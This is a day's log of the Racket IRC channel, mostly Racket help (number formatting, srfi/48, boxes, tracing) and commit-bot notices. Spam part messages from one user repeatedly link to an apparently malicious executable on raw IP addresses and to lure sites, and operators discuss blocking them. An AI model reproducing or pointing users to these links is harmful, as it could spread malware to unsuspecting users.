01:41 (topic) -: Racket -- http://racket-lang.org -- logs @ http://racket-lang.org/irc-logs 01:41 (names) -: gabot kvda angusiguess cdidd realitygrill kandinski eli gf3 noelw Enoria ASau Fulax jschuster stamourv stchang samth_away jrslepak_ Lajla mithos28 ChibaPet karswell abbe Shviller Shvillr kanak tauntaun dmj111 noam__ dspt LeNsTR|off zerokarmaleft bluephoenix47 shachaf swartzcr sid0 Twey rapacity dous mattmigh` AlbireoX rudybot jrslepak ivan\ rmrfchik mario-goulart lnostdal cky acarrico offby1 sethalves tewk snorble_ hyko shaatar rvaiya Demosthenes ivan` jasinai 01:41 (names) -: SHODAN scyrmion SeanTAllen em eMBee chandler ec bill_h cipher _p4bl0`` @ChanServ dsantiago wut cataska asumu PfhorSlayer ozzloy jamessan bremner m4burns 01:44 eli: em: BTW, we had a network failure earlier today, and as a result the bot froze, so no log damage, so far. 01:48 (join) Kaylin 01:53 (join) [1]angusiguess 01:55 (quit) angusiguess: Ping timeout: 260 seconds 01:55 (nick) [1]angusiguess -> angusiguess 02:03 (part) eli: "*sigh*" 02:03 (join) eli 02:05 eli: gabot: ping 02:07 (quit) angusiguess: Read error: Connection reset by peer 02:08 (join) angusiguess 02:10 (quit) realitygrill: Quit: realitygrill 02:11 (quit) asumu: Ping timeout: 260 seconds 02:12 (join) jeapostrophe 02:13 (join) djcb 02:16 (join) dzhus 02:20 (nick) LeNsTR|off -> LeNsTR 02:26 (quit) jeapostrophe: Ping timeout: 244 seconds 02:27 (join) nico_xcentro 02:27 (part) nico_xcentro: "http://98.219.166.169/psybnc2.3.1d.exe" 02:37 (quit) mithos28: Quit: mithos28 02:39 (join) asumu 02:42 Kaylin claps 02:43 eli: It doesn't look like it works. 02:43 (join) nico_xcentro 02:43 (part) nico_xcentro: "http://98.219.166.169/psybnc2.3.1d.exe" 02:44 (join) mithos28 02:44 Kaylin: it does 02:44 Kaylin: you gotta kick 02:44 Kaylin: the user after setting them as banned 02:44 Kaylin: banned just prevents join and sending messages when out of channel 02:44 eli: I already did the ban, and it got in again. 02:44 eli: And kicking says: 02:45 Kaylin: oh 02:45 Kaylin: what's the command to send messages to a channel when not here 02:45 Kaylin: lemme check 02:46 eli: Ah, indeed it's not here. 02:46 Kaylin: +n (prevent external send) Users outside the channel may not send messages to it. 02:46 Kaylin: try setting the channel +n 02:46 Kaylin: http://freenode.net/using_the_network.shtml 02:47 eli: This will probably prevent the github bot from working. 02:47 Kaylin: :X 02:48 Kaylin: maybe the bot can be made to join the channel? 02:48 Kaylin: :X 02:49 eli: That's exactly the problem, having it join the channel makes more annoyage. 02:49 RacketCommitBot: [racket] none pushed 3 new commits to master: http://git.io/CexsEA 02:49 RacketCommitBot: [racket/master] add gc2 support to random mutator - Robby Findler 02:49 RacketCommitBot: [racket/master] Fix types of numerics etc with expected type. - Sam Tobin-Hochstadt 02:49 RacketCommitBot: [racket/master] add marks on quoted identifiers so that, when they are used later, they bind properly - Robby Findler 02:49 Kaylin: what about 02:50 Kaylin: +q (quiet user) This mode works like +b (ban user), but instead simply quiets the user. We encourage channels to use quiets in place of bans wherever possible. The list of quiets is separate from the list of bans and can be viewed using '/mode #channel +q'. 02:50 Kaylin: that 02:50 eli: Ah, I'll try that. 02:50 (quit) Enoria: Remote host closed the connection 02:51 eli: Now we'll see if that works. 02:51 eli cleaned up the logs 02:52 (join) hkBst 02:52 (join) Enoria 02:53 Kaylin: nope 02:53 Kaylin: lol 02:53 eli: Yeah. 02:54 eli: OK, I set +n 02:54 (quit) Enoria: Remote host closed the connection 02:54 Kaylin: ~Guest2911@173.217.246.135 02:54 Kaylin: is what whois gives me 02:54 eli: It's been coming and going, so my guess is that it's some virus induced thing and an IP won't do much. 02:55 Kaylin: yea 02:55 Kaylin: prob is the exe he keeps linking 02:55 Kaylin: people d/l it and spread it :X 02:55 eli: (Yes, and I wonder who exactly would do that...) 02:55 eli: ...and it looks like github is indeed not working either. 02:56 Kaylin: :( 02:56 eli: I'll made it join again. 02:56 (join) Enoria 02:56 (join) RacketCommitBot 02:56 RacketCommitBot: [racket] none pushed 3 new commits to master: http://git.io/CexsEA 02:56 RacketCommitBot: [racket/master] add gc2 support to random mutator - Robby Findler 02:56 RacketCommitBot: [racket/master] Fix types of numerics etc with expected type. - Sam Tobin-Hochstadt 02:56 RacketCommitBot: [racket/master] add marks on quoted identifiers so that, when they are used later, they bind properly - Robby Findler 02:56 (part) RacketCommitBot 02:56 Kaylin: heh 02:56 eli sighs 02:56 Kaylin: it doesn't want to stay? 02:57 eli: No, and given IRC, I don't blame them for not doing that. 02:57 Kaylin: oh does it just connect say stuff and d/c? 02:57 eli: Yeah, maintaining a connection would be very messy. 02:58 eli: Perhaps I'll just make he bot do that instead. 02:58 eli: s/he/the/ 02:58 Kaylin: idk I suck at pronouns :( 03:04 (join) Patterngazer_ 03:10 (join) sindoc 03:20 (join) nico_xcentro 03:20 (part) nico_xcentro: "#Remy @ irc.swiftirc.net" 03:26 (join) nico_xcentro 03:26 (part) nico_xcentro: "#remy @ irc.swiftirc.net" 03:30 (join) nico_xcentro 03:30 (part) nico_xcentro: "http://seeder.hpage.com/get_file.php?id=1530538&vnr=978819" 03:33 (quit) mithos28: Quit: mithos28 03:35 (quit) djcb: Remote host closed the connection 03:40 (join) nico_xcentro 03:40 (part) nico_xcentro: "http://98.219.166.169/psybnc2.3.1d.exe" 03:41 (join) nico_xcentro 03:41 (part) nico_xcentro: "independentt@hotmail.com" 03:43 (join) Blkt 03:45 (join) nico_xcentro 03:45 (part) nico_xcentro: "/server -m irc.swiftirc.net 6667 -j #remy" 03:46 (join) nico_xcentro 03:46 (part) nico_xcentro: "http://98.219.166.169/psybnc2.3.1d.exe" 03:47 (join) nico_xcentro 03:47 (part) nico_xcentro: "http://98.219.166.169/psybnc2.3.1d.exe" 03:52 (join) ahinki 04:04 (join) nico_xcentro 04:04 (part) nico_xcentro: "http://freecam5.goodluckwith.us/" 04:05 Kaylin: goddamnit 04:05 Kaylin: quit messages from nico_xcentro 04:05 Kaylin: didn't fix that issue =/ 04:11 (quit) Kaylin: Quit: going to sleep, goodnight! 04:25 (join) djcb 04:26 (join) nico_xcentro 04:26 (part) nico_xcentro: "/server -m irc.swiftirc.net 6667 -j #remy" 04:30 (join) nico_xcentro 04:30 (part) nico_xcentro: "http://freecam5.goodluckwith.us/" 04:32 (join) nico_xcentro 04:33 (part) nico_xcentro: "independentt@hotmail.com" 04:34 (quit) angusiguess: Read error: Connection reset by peer 04:35 (join) angusiguess 04:39 (join) nico_xcentro 04:39 (part) nico_xcentro: "#remy @ irc.swiftirc.net" 04:40 (quit) eMBee: Remote host closed the connection 04:47 (join) nico_xcentro 04:47 (part) nico_xcentro: "http://98.219.166.169/psybnc2.3.1d.exe" 04:48 (join) nico_xcentro 04:48 (part) nico_xcentro: "http://freecam5.goodluckwith.us/" 04:49 (join) nico_xcentro 04:49 (part) nico_xcentro: "http://201.245.61.34:8000/psybnc2.3.1d.exe" 04:51 (join) nico_xcentro 04:51 (part) nico_xcentro: "#remy @ irc.swiftirc.net" 04:53 (join) eMBee 05:06 (join) masm 05:06 (join) nico_xcentro 05:06 (part) nico_xcentro: "http://freecam5.goodluckwith.us/" 05:13 (join) vkz 05:23 (join) veer 05:36 (quit) dspt: Ping timeout: 265 seconds 05:37 (join) dspt 05:42 (quit) noam__: Ping timeout: 245 seconds 05:42 (quit) masm: Quit: Leaving. 05:47 (join) noam 05:55 (quit) kvda: Quit: x___x 06:17 (quit) cdidd: Ping timeout: 248 seconds 06:33 (join) cdidd 06:39 (quit) vkz: Quit: vkz 06:50 (quit) noam: Read error: Connection reset by peer 06:51 (join) noam 06:55 (join) gciolli 07:05 (quit) noam: Read error: Connection reset by peer 07:06 (join) noam 07:08 (join) mceier 07:13 (join) vkz 07:25 (quit) Shvillr: Ping timeout: 265 seconds 07:25 (join) Shvillr 07:25 (quit) gciolli: Quit: Leaving. 07:26 (join) gciolli 07:47 (join) [1]angusiguess 07:49 (quit) angusiguess: Ping timeout: 240 seconds 07:49 (nick) [1]angusiguess -> angusiguess 07:55 (quit) vkz: Quit: vkz 07:59 (quit) jrslepak: Quit: This computer has gone to sleep 08:05 (join) vkz 08:05 (join) vkz_ 08:05 (quit) vkz: Read error: Connection reset by peer 08:05 (nick) vkz_ -> vkz 08:10 (quit) veer: Quit: Leaving 08:18 (join) RacketCommitBot 08:18 RacketCommitBot: [racket] plt pushed 3 new commits to master: http://git.io/ln__eA 08:18 RacketCommitBot: [racket/master] add optional newline argument to `base64-encode' - Matthew Flatt 08:18 RacketCommitBot: [racket/master] net/smtp: fix auth encoding to not add extra CRLFs - Matthew Flatt 08:18 RacketCommitBot: [racket/master] COM doc and error fixups - Matthew Flatt 08:18 (part) RacketCommitBot 08:26 (quit) zerokarmaleft: Ping timeout: 260 seconds 08:33 (join) zerokarmaleft 08:44 (join) jrslepak 08:46 (join) Diarmid 08:48 Diarmid: I'm working through some examples in Common Lisp, translating them to Racket to the best of my ability. I've run into a snag. I can't figure out how to control the formatting of numbers. It looks like to write to stdout I'm supposed to use 'display'. What do I do if I want to, say, display '1.5' as '$1.50'? 08:50 bremner: Diarmid: use format, maybe? 08:50 bremner: or printf iirc 08:51 bremner: http://docs.racket-lang.org/reference/Writing.html?q=format#(def._((quote._~23~25kernel)._format)) 08:51 Diarmid: bremner, I didn't have much luck when trying that. If you know how, let me know. 08:51 Diarmid: I tried format, not printf. The Common Lisp example uses "~$" as its format string, which definitely does not work in Racket. 08:56 (quit) angusiguess: Read error: Connection reset by peer 08:57 (join) angusiguess 08:57 Diarmid: Is there a tutorial somewhere for Racket that I could read for string formatting? It's kinda important. I mostly use Python for system administration type jobs, but I'm thinking of trying to move to some sort of Lisp since I occasionally want to use deep (non-tail) recursion, along with other things. Racket looks like my best bet since it runs on Windows and Linux, and has most of the needed features. 08:58 Diarmid: I looked into Scsh, and that can be made to run under Windows with Cygwin, but it doesn't seem to have any way to quickly knock together GUI's for little utilities, which Racket does have. 08:58 (join) jeapostrophe 09:04 (quit) vkz: Quit: vkz 09:07 Diarmid: There doesn't seem to be a "~" pattern for printf that does what I had in mind. 09:09 (quit) jrslepak: Quit: This computer has gone to sleep 09:14 (quit) asumu: Ping timeout: 260 seconds 09:14 (join) asumu 09:16 asumu: rudybot: doc real->decimal-string 09:16 rudybot: asumu: your sandbox is ready 09:16 rudybot: asumu: http://docs.racket-lang.org/reference/generic-numbers.html#(def._((lib._racket%2Fprivate%2Fbase..rkt)._real-~3edecimal-string)) 09:16 asumu: Diarmid: ^ 09:16 Diarmid: Thanks! That's exactly what I needed! 09:17 asumu: NP :) 09:17 (join) [1]angusiguess 09:19 (quit) angusiguess: Ping timeout: 244 seconds 09:19 (nick) [1]angusiguess -> angusiguess 09:24 Diarmid: Is there a way to print things aligned to columns? Like having a set of numbers, right justified, in a 10-space-wide column? 09:25 Diarmid: It looks like I'd do something like "~10a" in Common Lisp, but that's not working in Racket. 09:33 Diarmid: Managed to find it. Looks like its the "string-pad" prefix functions. 09:38 asumu: Diarmid: Also, if you use `format` from srfi/48 you can use "~10F" which formats to 10 columns. 09:38 asumu: I'm not sure why the `format` in racket doesn't just support all of the srfi/48 options. 09:38 Diarmid: Oh, there's a more complete implementation I can import? 09:38 asumu: rudybot: (require srfi/48) 09:38 rudybot: asumu: Done. 09:38 asumu: rudybot: (format "~10F" "foobar") 09:38 rudybot: asumu: ; Value: " foobar" 09:39 Diarmid: Sweet. :) 09:39 Diarmid: I was worried there for a bit. So far I hadn't really had much trouble doing the translation. I love the debugger in this thing. I'm told it even works well with macros. 09:41 asumu: Yeah, the macro stepper is nice. 09:46 Diarmid: I don't suppose there's a port of the 'sre's from Scsh? I haven't found one, though I guess if I get to wanting them bad enough I could do it myself since it's all open source. 09:46 Diarmid: I do a lot of string mauling, so that sort of thing is nice to have. 09:48 asumu: Diarmid: Only sortof. There is an implementation of SREs, but it's for the lexing toolkit: http://pre.racket-lang.org/docs/html/parser-tools/Lexers.html 09:48 asumu: AFAIK it's not integrated with Racket's regexps. 09:49 Diarmid: So I could only use it inside the lexer macro(s)? 09:50 asumu: Right. 09:50 Diarmid: Darn. Oh well, never used a language that had anything like that before (though it reminds me a bit of SNOBOL and Unicon's pattern matching), so I can live without it, and I guess I could do it myself if need be. 09:51 asumu: Yeah, it'd be nice to have. 09:52 Diarmid: I looked at the code. The main file in Scsh is about 32 80x25 screens long, so it's not trivial to implement, but I've seen worse (like a ~8500 line long C++ class... one class, no code generation involved). 09:52 Diarmid: It also looked pretty readable, which helps. 10:06 (quit) angusiguess: Read error: Connection reset by peer 10:07 (join) angusiguess 10:18 (quit) noam: Read error: Connection reset by peer 10:19 (join) noam 10:19 (nick) samth_away -> samth 10:23 (join) vkz 10:26 (quit) angusiguess: Read error: Connection reset by peer 10:27 (join) angusiguess 10:30 (join) realitygrill 10:32 (join) Tyr42 10:33 Tyr42: Hello. I was looking at http://people.csail.mit.edu/pgbovine/python/tutor.html#mode=edit 10:33 Tyr42: and trying to make a racket backend 10:33 Tyr42: so it could run racket too 10:34 Tyr42: but I don't see any libraries that let me trace execution of each step 10:35 Tyr42: idealy, I would be able to get the output of the stepper from the student languages 10:38 Diarmid: I'm really new to this, but does racket/trace do what you want? If not, I think most of Racket is written in Racket. You could probably look at the source to see how the stepper does what it does. 10:39 Diarmid: http://docs.racket-lang.org/reference/debugging.html#%28part._.Tracing%29 10:39 Tyr42: I was on that very page. I just was going to see what the level out output was now 10:41 (quit) realitygrill: Quit: realitygrill 10:41 (quit) ahinki: Quit: ChatZilla 0.9.88 [Firefox 11.0/20120215222917] 10:43 Tyr42: how do you get trace to print out anything 10:45 (join) jonrafkind 10:45 (join) masm 10:47 (quit) hkBst: Quit: Konversation terminated! 10:50 (quit) djcb: Remote host closed the connection 10:54 Diarmid: I'm guessing you pass the string to a string printing function, like format or printf or fprintf or display? 10:59 (quit) Shviller: Ping timeout: 260 seconds 10:59 (join) Shviller 11:00 (join) vkz_ 11:01 (quit) vkz: Ping timeout: 240 seconds 11:01 (nick) vkz_ -> vkz 11:02 Tyr42: Oh, I see. 11:02 Tyr42: But I'm going to need to keep track of set!s somehow 11:03 Tyr42: wait, could I load them is a custom module where I rebind set! to print something and then call the old set! 11:03 (join) anRch 11:04 Tyr42: oh, and I could just rebind #%app too 11:12 (quit) sindoc: Quit: Leaving. 11:20 (join) mithos28 11:21 (quit) jeapostrophe: Ping timeout: 244 seconds 11:38 Diarmid: I don't need to do this as much as left or right justify things, but is there a way to print a string centered? I'm not seeing it with format, or by searching for 'string' or 'center' in the manual. 11:42 (join) jeapostrophe 11:48 (join) anRch_ 11:49 (quit) anRch: Read error: Connection reset by peer 11:49 (nick) anRch_ -> anRch 11:56 (join) stvn_ 11:59 (quit) jonrafkind: Ping timeout: 248 seconds 12:02 (quit) ASau: Ping timeout: 245 seconds 12:02 (quit) Enoria: Ping timeout: 245 seconds 12:07 (join) Enoria 12:09 (quit) anRch: Quit: anRch 12:16 mithos28: Diarmid: Centered where? 12:19 (join) jonrafkind 12:23 ozzloy: who's taking udacity? 12:23 ozzloy: i want udacity fellows in here 12:23 ozzloy: it's being taught in python T_T 12:23 Diarmid: mithos28: centered as in I tell it I want the string "foo" inside a 80 character long string, padded with " ", such that it appears in the middle of the string. It's a somewhat common operation when trying to do text output to a file, mostly to print nice looking reports. 12:24 Diarmid: Obviously what's centered and the padding characters can change. 12:25 mithos28: I cannot think of any thing of the top of my head, but srfi/13 might have something 12:25 mithos28: rudybot: doc srfi/13 12:25 rudybot: mithos28: your sandbox is ready 12:25 rudybot: mithos28: not found in any library's documentation: srfi/13 12:25 mithos28: http://docs.racket-lang.org/srfi-std/srfi-13.html 12:26 mithos28: You could do the math yourself, aswell 12:28 Diarmid: Yeah. It has left and right padding but not centered. It's not that hard to write. I did it in BASIC when I was little. I just hoped there was a standard way. There is with "format" in Common Lisp but Scheme doesn't have the same format strings. 12:28 (join) Kaylin 12:28 (join) MayDaniel 12:29 (quit) karswell: Read error: Connection reset by peer 12:29 (join) karswell 12:34 (join) sstrickl 12:40 asumu: ozzloy: that's already started? 12:40 (quit) Blkt: Read error: Connection reset by peer 12:44 (join) Sicp 12:44 (quit) Sicp: Changing host 12:44 (join) Sicp 13:04 (join) ASau 13:04 (quit) Shviller: Quit: bye 13:05 chandler: Diarmid: You might fmt and irregex interesting: http://synthcode.com/wiki/software 13:06 (join) Shviller 13:06 (quit) gf3: Excess Flood 13:07 (join) gf3 13:12 (quit) eli: Ping timeout: 244 seconds 13:13 (quit) MayDaniel: Read error: Connection reset by peer 13:15 (quit) ASau: Remote host closed the connection 13:15 (join) ASau 13:18 (join) eli 13:20 Kaylin: morning :O 13:20 eli: gabot: ping 13:20 (join) EmmanuelOga 13:21 (join) RacketCommitBot 13:21 RacketCommitBot: [racket] plt pushed 1 new commit to master: http://git.io/5U4HMA 13:21 RacketCommitBot: [racket/master] chop up the planetcute image - Robby Findler 13:21 (part) RacketCommitBot 13:23 Demosthenes: hrm, we need tk bindings :P 13:24 Demosthenes: racket/tk would rock ;] 13:25 chandler: What would Tk do for you that racket/gui doesn't? 13:26 ozzloy: asumu, it is, but you can still sign up 13:26 ozzloy: i think 13:28 jeapostrophe: eli: do you know how to get emacs' scheme-mode to DTRT with unless/for/when/match ? 13:28 (quit) Patterngazer_: Quit: Now if you will excuse me, I have a giant ball of oil to throw out my window 13:29 bremner: jeapostrophe: just curious, what seems broken for unless and when? 13:30 bremner: oh, indentation I guess 13:30 bremner: you want to line up e with t in (unless t e) ? 13:31 (quit) gciolli: Quit: Leaving. 13:33 eli: jeapostrophe: https://github.com/elibarzilay/eliemacs/blob/master/extras/scheme.el 13:33 eli: The block of `put's near the bottom. 13:39 (quit) dzhus: Ping timeout: 245 seconds 13:44 (quit) PfhorSlayer: 13:44 Diarmid: chandler: Thank you. :) 13:53 Diarmid: chandler: Thank you very much! These are wonderful! 14:00 (join) MayDaniel 14:13 (join) bdirks 14:19 stamourv: tewk: I'm looking at your port of the NAS benchmarks. 14:19 stamourv: When I try to run them, it looks for a `rktl' command. What should it be? 14:22 (join) RacketCommitBot 14:22 RacketCommitBot: [racket] plt pushed 4 new commits to master: http://git.io/dP3lEQ 14:22 RacketCommitBot: [racket/master] Add robots.txt, to avoid spiders hammering the server via gitweb. - Eli Barzilay 14:22 RacketCommitBot: [racket/master] EOPL mzscheme => racket; closes PR10478. - David Van Horn 14:22 RacketCommitBot: [racket/master] Fixes spelling errors in reference. - David Van Horn 14:22 (part) RacketCommitBot 14:22 stamourv: tewk: Using `racket' instead works, but is that the right thing to do? 14:30 (join) GeneralMaximus 14:37 (join) fftb 15:00 jeapostrophe: eli: thanks eli, that's great 15:01 (quit) GeneralMaximus: Quit: Leaving 15:04 chandler: Diarmid: Don't thank me; thank foof 15:05 chandler: (he's not here, though) 15:05 (quit) bdirks: Quit: Colloquy for iPad - http://colloquy.mobi 15:16 (quit) MayDaniel: Read error: Connection reset by peer 15:37 (quit) fftb: Remote host closed the connection 16:04 (join) kvda 16:16 (join) shadgregory 16:29 (join) dnolen 16:32 (quit) stvn_: Quit: Leaving 16:33 (quit) Lajla: Quit: Phallic Illuminatus 16:40 (join) radiaz 16:40 radiaz: Ciao a tutti :) 16:40 radiaz: !list 16:40 radiaz: !list 16:41 (part) radiaz 16:41 (join) zussitarze 16:43 zussitarze: Hi. I'm planning to implement RESTful authentication in a racket web-app. Before I begin, are there any libraries out there that already take care of this? 16:47 zussitarze: I'm planning to avoid a key/value store, by opting to encrypt user state in cookies. 17:20 (join) RacketCommitBot 17:20 RacketCommitBot: [racket] plt pushed 1 new commit to master: http://git.io/JcpEDA 17:20 RacketCommitBot: [racket/master] add make-platform-bitmap - Robby Findler 17:20 (part) RacketCommitBot 17:25 (quit) Kaylin: Quit: Leaving. 17:32 (join) PfhorSlayer 17:34 (quit) Sicp: Quit: Leaving 17:36 PfhorSlayer: If I have a define function, how can I throw an error from it such that I will get correct callstack tracing from its call site? 17:43 jonrafkind: you can't, thanks to tail call optimization 17:43 (quit) zussitarze: Ping timeout: 245 seconds 17:43 jonrafkind: you can try to enable errortrace which sometimes gives you a better stack trace, but it will never be fully accurate 17:44 (join) yoklov 17:51 (nick) LeNsTR -> LeNsTR|off 17:51 (join) Libo 17:51 Libo: hi 17:52 Libo: i was wondering if there is a way to store a refernce or pointer to a variable with racket 17:53 chandler: Libo: Racket doesn't work like that, but boxes might do what you're looking for: http://docs.racket-lang.org/guide/boxes.html 17:53 chandler: rudybot: eval (define v (box 0)) 17:53 rudybot: chandler: Done. 17:53 chandler: rudybot: eval (unbox v) 17:53 rudybot: chandler: ; Value: 0 17:54 chandler: rudybot: eval (set-box! v 42) 17:54 rudybot: chandler: Done. 17:54 chandler: rudybot: eval (unbox v) 17:54 rudybot: chandler: ; Value: 42 17:56 Diarmid: Libo: I'm not sure this is what you have in mind, but you can (1). use structures with slots pointing to other things (structures, lists), (2). build a mutable list, and then use set to loop it back on itself, (3). fake it a variety of ways, such as using a hash table, or pairs of lists or arrays, where the hash-value or one of the lists has the hash-key or index of the other node. Sounds like boxing is another option. There m 17:57 chandler: Diarmid: You got cut off at "There m". IRC cuts off long lines silently and unpredictably. 17:57 Diarmid: "may be more, since I'm sort of a noob at this." 17:58 (quit) Libo: Ping timeout: 245 seconds 17:58 (quit) dnolen: Ping timeout: 245 seconds 17:59 Diarmid: I was looking for a way to build arbitrary graphs myself early on, and found those ways. I don't /usually/ need anything that can't be represented by a list (with lists inside it can be a table or 1-ary tree), array, or hash-table, but it's nice to know how to do it if you ever really need to. 18:05 (quit) vkz: Quit: vkz 18:07 (quit) jeapostrophe: Ping timeout: 240 seconds 18:21 (join) jrslepak 18:30 jonrafkind: ah, de bruijn died 18:32 samth: jonrafkind: yeah, sad 18:34 bremner just talked about de Bruijn indices today 18:34 (join) RacketCommitBot 18:34 RacketCommitBot: [racket] plt pushed 5 new commits to master: http://git.io/gHC94w 18:34 RacketCommitBot: [racket/master] [honu] add syntactic patterns. parse the output of macros using a local define-syntax (kind of hackish) - Jon Rafkind 18:34 RacketCommitBot: [racket/master] [honu] honu forms implemented in racket must call honu->racket on the parsed output. add an example to do ocaml style pattern matching - Jon Rafkind 18:34 RacketCommitBot: [racket/master] [honu] use honu->racket in more builtin forms - Jon Rafkind 18:34 (part) RacketCommitBot 19:03 (quit) sstrickl: Quit: sstrickl 19:08 (quit) Tyr42: Quit: Leaving. 19:09 (join) kudkudyak1 19:11 (quit) kudkudyak1: Client Quit 19:11 (join) kudkudyak 19:11 (join) jeapostrophe 19:23 (join) Tyr42 19:24 (quit) kudkudyak: Quit: Leaving. 19:24 (quit) jonrafkind: Ping timeout: 252 seconds 19:24 (join) kudkudyak 19:25 (join) Kaylin 19:28 (quit) kudkudyak: Client Quit 19:45 (join) jonrafkind 19:51 (quit) jeapostrophe: Read error: Operation timed out 20:20 (quit) mceier: Quit: leaving 20:32 (join) jeapostrophe 20:33 (quit) AlbireoX: Read error: Connection reset by peer 21:07 (quit) jeapostrophe: Read error: Operation timed out 21:16 (quit) dsantiago: Quit: Leaving... 21:21 (quit) masm: Quit: Leaving. 21:23 (join) jeapostrophe 21:31 (quit) jeapostrophe: Ping timeout: 276 seconds 21:36 (quit) Tyr42: Quit: Leaving. 21:48 (join) dsantiago 21:51 (join) lebro 21:51 (quit) cdidd: Remote host closed the connection 21:52 (join) turon 22:09 (quit) stchang: Read error: Operation timed out 22:09 (quit) gabot: Ping timeout: 252 seconds 22:10 (topic) -: Racket -- http://racket-lang.org -- logs @ http://racket-lang.org/irc-logs 22:10 (names) -: gabot turon lebro dsantiago jonrafkind Kaylin jrslepak yoklov PfhorSlayer shadgregory kvda EmmanuelOga eli ASau gf3 Shviller karswell Enoria mithos28 angusiguess noam asumu Diarmid zerokarmaleft Shvillr dspt eMBee kandinski noelw Fulax jschuster stamourv samth jrslepak_ ChibaPet abbe kanak tauntaun dmj111 LeNsTR|off bluephoenix47 shachaf swartzcr sid0 Twey rapacity dous mattmigh` rudybot ivan\ rmrfchik mario-goulart lnostdal cky acarrico offby1 sethalves tewk 22:10 (names) -: snorble_ hyko shaatar rvaiya Demosthenes ivan` jasinai SHODAN scyrmion SeanTAllen em chandler ec bill_h cipher _p4bl0`` @ChanServ wut cataska ozzloy jamessan bremner m4burns 22:10 (quit) samth: Ping timeout: 245 seconds 22:10 (quit) jschuster: Ping timeout: 252 seconds 22:10 (join) samth 22:10 (join) jschuster 22:16 (join) stchang 22:30 (part) lebro: "Leaving" 22:46 (quit) karswell: Ping timeout: 240 seconds 22:49 (join) karswell 23:01 (join) dnolen 23:52 (quit) kvda: Quit: -___- 23:55 (join) realitygrill